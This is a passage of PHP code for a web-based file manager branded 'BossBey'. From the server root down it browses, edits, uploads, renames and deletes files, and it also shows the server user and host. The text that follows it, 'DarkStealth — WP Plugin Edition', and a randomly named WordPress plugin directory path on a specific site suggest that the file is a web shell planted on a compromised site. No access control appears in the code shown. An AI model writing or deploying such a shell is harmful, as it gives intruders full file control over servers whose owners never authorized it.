                $message = "Folder already exists.";
                $msgType = "error";
            }
        }
    }

    // Delete
    elseif ($action === 'delete') {
        $targetName = $_POST['target_name'] ?? '';
        $targetPath = getSafePath($currentPath, $targetName);
        
        if (file_exists($targetPath)) {
            $success = is_dir($targetPath) ? deleteRecursive($targetPath) : unlink($targetPath);
            if ($success) {
                $message = "Item deleted successfully.";
                $msgType = "success";
            } else {
                $message = "Delete failed. Permission denied.";
                $msgType = "error";
            }
        }
    }

    // Edit Mode
    elseif ($action === 'edit_mode') {
        $targetName = $_POST['target_name'] ?? '';
        $targetPath = getSafePath($currentPath, $targetName);
        if (is_file($targetPath) && is_readable($targetPath)) {
            $mode = 'edit';
            $editFile = $targetName;
            $editContent = file_get_contents($targetPath);
        } else {
            $message = "Cannot read file.";
            $msgType = "error";
        }
    }

    // Save File
    elseif ($action === 'save_file') {
        $targetName = $_POST['target_name'] ?? '';
        $content = $_POST['file_content'] ?? '';
        $targetPath = getSafePath($currentPath, $targetName);
        
        // Normalisasi Newline untuk Linux
        $content = str_replace("\r\n", "\n", $content);

        if (@file_put_contents($targetPath, $content) !== false) {
            $message = "File saved successfully.";
            $msgType = "success";
            $mode = 'main';
        } else {
            $message = "Failed to save file. Permission denied.";
            $msgType = "error";
            $mode = 'edit';
            $editFile = $targetName;
            $editContent = $content;
        }
    }

    // Rename
    elseif ($action === 'rename_mode') {
        $mode = 'rename';
        $renameTarget = $_POST['target_name'];
    }
    elseif ($action === 'do_rename') {
        $oldName = $_POST['old_name'];
        $newName = basename($_POST['new_name']);
        $oldPath = getSafePath($currentPath, $oldName);
        $newPath = getSafePath($currentPath, $newName);

        if (!empty($newName) && file_exists($oldPath) && !file_exists($newPath)) {
            if (@rename($oldPath, $newPath)) {
                $message = "Renamed successfully.";
                $msgType = "success";
                $mode = 'main';
            } else {
                $message = "Rename failed. Permission denied.";
                $msgType = "error";
            }
        } else {
            $message = "Invalid name or already exists.";
            $msgType = "error";
        }
    }
    elseif ($action === 'cancel') {
        $mode = 'main';
    }
}

// --- DATA LISTING ---
$items = [];
if ($mode === 'main') {
    // Gunakan scandir biasa
    $scanned = @scandir($currentPath);
    
    if ($scanned === false) {
        $message = "Access Denied: Cannot read directory.";
        $msgType = "error";
    } else {
        $folders = [];
        $files = [];

        foreach ($scanned as $item) {
            if ($item == '.') continue;
            
            $fullPath = getSafePath($currentPath, $item);
            
            // Logic Tombol [..] (Parent)
            // Jika item adalah '..' dan kita BUKAN di root system ('/'), maka tampilkan
            if ($item == '..') {
                if ($currentPath != DIRECTORY_SEPARATOR && $currentPath != '/') {
                    $parentPath = dirname($currentPath);
                    $folders[] = [
                        'name' => '[..]',
                        'path' => $parentPath, // Path parent penuh
                        'type' => 'Folder',
                        'size' => '-',
                        'perm' => '',
                        'is_parent' => true
                    ];
                }
                continue;
            }

            // Cek permission rwx (Read Write Execute) simpel
            $perms = substr(sprintf('%o', fileperms($fullPath)), -4);
            $isWritable = is_writable($fullPath);
            $permStr = $perms . ($isWritable ? ' (W)' : ' (R-O)');

            if (is_dir($fullPath)) {
                $folders[] = [
                    'name' => $item,
                    'path' => $fullPath, // Simpan full path untuk link
                    'type' => 'Folder',
                    'size' => '-',
                    'perm' => $permStr,
                    'is_parent' => false
                ];
            } else {
                $files[] = [
                    'name' => $item,
                    'path' => $fullPath,
                    'type' => 'File',
                    'size' => formatSize(filesize($fullPath)),
                    'perm' => $permStr,
                    'is_parent' => false
                ];
            }
        }
        $items = array_merge($folders, $files);
    }
}

// Info Server
$serverInfo = get_current_user() . "@" . php_uname('n') . " (" . PHP_OS . ")";
?>

<!DOCTYPE html>
<html lang="en">
<head>
    <meta charset="UTF-8">
    <title>File Manager (BossBey)</title>
    <style>
        body { font-family: Arial, sans-serif; margin: 20px; background: #f4f4f4; }
        .container { max-width: 1000px; margin: auto; background: #fff; padding: 20px; border-radius: 5px; box-shadow: 0 0 10px rgba(0,0,0,0.1); }
        h2 { margin-top: 0; }
        .breadcrumb { 
            font-size: 1.1em;
            font-family: monospace; 
            padding: 12px; 
            background: #e9ecef; 
            border-radius: 4px;
            margin-bottom: 20px;
            word-wrap: break-word;
        }
        .breadcrumb a { text-decoration: none; color: #007bff; font-weight: bold; }
        .breadcrumb a:hover { text-decoration: underline; color: #0056b3; }
        .breadcrumb .sep { color: #6c757d; margin: 0 5px; }
        
        .msg { padding: 12px; margin-bottom: 20px; border-radius: 4px; border: 1px solid transparent; }
        .success { background: #d4edda; color: #155724; border-color: #c3e6cb; }
        .error { background: #f8d7da; color: #721c24; border-color: #f5c6cb; }
        
        .form-section { background: #f8f9fa; padding: 15px; border-radius: 4px; margin-bottom: 20px; border: 1px solid #ddd; }
        
        table { width: 100%; border-collapse: collapse; }
        th { background: #f1f1f1; text-align: left; padding: 10px; border-bottom: 2px solid #ddd; }
        td { padding: 10px; border-bottom: 1px solid #eee; vertical-align: middle; }
        tr:hover { background: #f9f9f9; }
        
        .folder-link { font-weight: bold; color: #d63384; text-decoration: none; }
        .file-link { color: #333; }
        .actions button { cursor: pointer; margin-right: 5px; padding: 2px 8px; font-size: 0.85em; }
        .editor-area { width: 100%; height: 400px; font-family: monospace; padding: 10px; box-sizing: border-box; }
        .server-info { font-size: 0.8em; color: #666; float: right; font-weight: normal; }
    </style>
</head>
<body>

<div class="container">
    <h2>(BossBey) File Manager</h2>

    <div class="breadcrumb">
        <?php
        // 1. Link ke ROOT Sistem (/)
        echo "<a href='?dir=" . urlencode('/') . "'>[ROOT]</a>";
        
        // 2. Pecah Path menjadi Array untuk dibuat link satu per satu
        // Contoh: /home/user/public_html -> ['', 'home', 'user', 'public_html']
        $pathParts = explode(DIRECTORY_SEPARATOR, $currentPath);
        $buildLink = '';
        
        foreach ($pathParts as $part) {
            if ($part === '') continue; // Skip kosong akibat explode '/' di awal
            
            // Bangun path bertahap: /home, lalu /home/user, dst
            $buildLink .= DIRECTORY_SEPARATOR . $part;
            
            echo "<span class='sep'>/</span>";
            echo "<a href='?dir=" . urlencode($buildLink) . "'>" . htmlspecialchars($part) . "</a>";
        }
        ?>
        <div class="server-info"><?php echo $serverInfo; ?></div>
    </div>

    <?php if ($message): ?>
        <div class="msg <?php echo $msgType; ?>">
            <?php echo htmlspecialchars($message); ?>
        </div>
    <?php endif; ?>

    <?php if ($mode === 'edit'): ?>
        <h3>Editing: <?php echo htmlspecialchars($editFile); ?></h3>
        <form method="post">
            <input type="hidden" name="action" value="save_file">
            <input type="hidden" name="target_name" value="<?php echo htmlspecialchars($editFile); ?>">
            <textarea name="file_content" class="editor-area"><?php echo htmlspecialchars($editContent); ?></textarea>
            <br><br>
            <button type="submit">Save Changes</button>
            <button type="submit" name="action" value="cancel" formnovalidate>Cancel</button>
        </form>

    <?php elseif ($mode === 'rename'): ?>
        <h3>Rename Item: <?php echo htmlspecialchars($renameTarget); ?></h3>
        <form method="post">
            <input type="hidden" name="action" value="do_rename">
            <input type="hidden" name="old_name" value="<?php echo htmlspecialchars($renameTarget); ?>">
            New Name: <input type="text" name="new_name" value="<?php echo htmlspecialchars($renameTarget); ?>" style="width:300px;">
            <br><br>
            <button type="submit">Rename</button>
            <button type="submit" name="action" value="cancel" formnovalidate>Cancel</button>
        </form>

    <?php else: ?>
        
        <div class="form-section">
            <?php if (isWritable($currentPath)): ?>
                <form method="post" enctype="multipart/form-data" style="display:inline-block; margin-right:20px; vertical-align:top;">
                    <strong>Upload:</strong><br>
                    <input type="hidden" name="action" value="upload">
                    <input type="file" name="fileUpload">
                    <button type="submit">Upload</button>
                </form>
                
                <div style="display:inline-block; border-left: 1px solid #ddd; padding-left: 20px;">
                    <form method="post" style="margin-bottom: 5px;">
                        <input type="hidden" name="action" value="create_file">
                        <input type="text" name="new_filename" placeholder="newfile.php" size="15">
                        <button type="submit">New File</button>
                    </form>
                    <form method="post">
                        <input type="hidden" name="action" value="create_folder">
                        <input type="text" name="new_foldername" placeholder="newfolder" size="15">
                        <button type="submit">New Folder</button>
                    </form>
                </div>
            <?php else: ?>
                <strong style="color:red;">Current Directory is Read-Only. Cannot Upload or Create items here.</strong>
            <?php endif; ?>
        </div>

        <table>
            <thead>
                <tr>
                    <th>Name</th>
                    <th width="100">Perms</th>
                    <th width="80">Size</th>
                    <th width="180">Actions</th>
                </tr>
            </thead>
            <tbody>
                <?php foreach ($items as $item): ?>
                <tr>
                    <td class="grid-name">
                        <?php if ($item['type'] === 'Folder'): ?>
                            <a href="?dir=<?php echo urlencode($item['path']); ?>" class="folder-link">
                                <?php echo htmlspecialchars($item['name']); ?>
                            </a>
                        <?php else: ?>
                            <span class="file-link"><?php echo htmlspecialchars($item['name']); ?></span>
                        <?php endif; ?>
                    </td>
                    <td style="font-size: 0.8em; color:#666;"><?php echo $item['perm']; ?></td>
                    <td><?php echo $item['size']; ?></td>
                    <td class="actions">
                        <?php if (!$item['is_parent']): ?>
                            
                            <?php if ($item['type'] === 'File'): ?>
                                <form method="post" style="display:inline;">
                                    <input type="hidden" name="action" value="edit_mode">
                                    <input type="hidden" name="target_name" value="<?php echo htmlspecialchars($item['name']); ?>">
                                    <button type="submit">Edit</button>
                                </form>
                            <?php endif; ?>

                            <form method="post" style="display:inline;">
                                <input type="hidden" name="action" value="rename_mode">
                                <input type="hidden" name="target_name" value="<?php echo htmlspecialchars($item['name']); ?>">
                                <button type="submit">Ren</button>
                            </form>

                            <form method="post" style="display:inline;" onsubmit="return confirm('Delete <?php echo htmlspecialchars($item['name']); ?>?');">
                                <input type="hidden" name="action" value="delete">
                                <input type="hidden" name="target_name" value="<?php echo htmlspecialchars($item['name']); ?>">
                                <button type="submit" style="color:red;">Del</button>
                            </form>
                        
                        <?php endif; ?>
                    </td>
                </tr>
                <?php endforeach; ?>
            </tbody>
        </table>
    <?php endif; ?>

</div>
</body>
</html>
?>

🌑 DarkStealth — WP Plugin Edition

Directory: /home/httpd/html/matrixmodels.com/public_html/wp-content/plugins/jsbjfni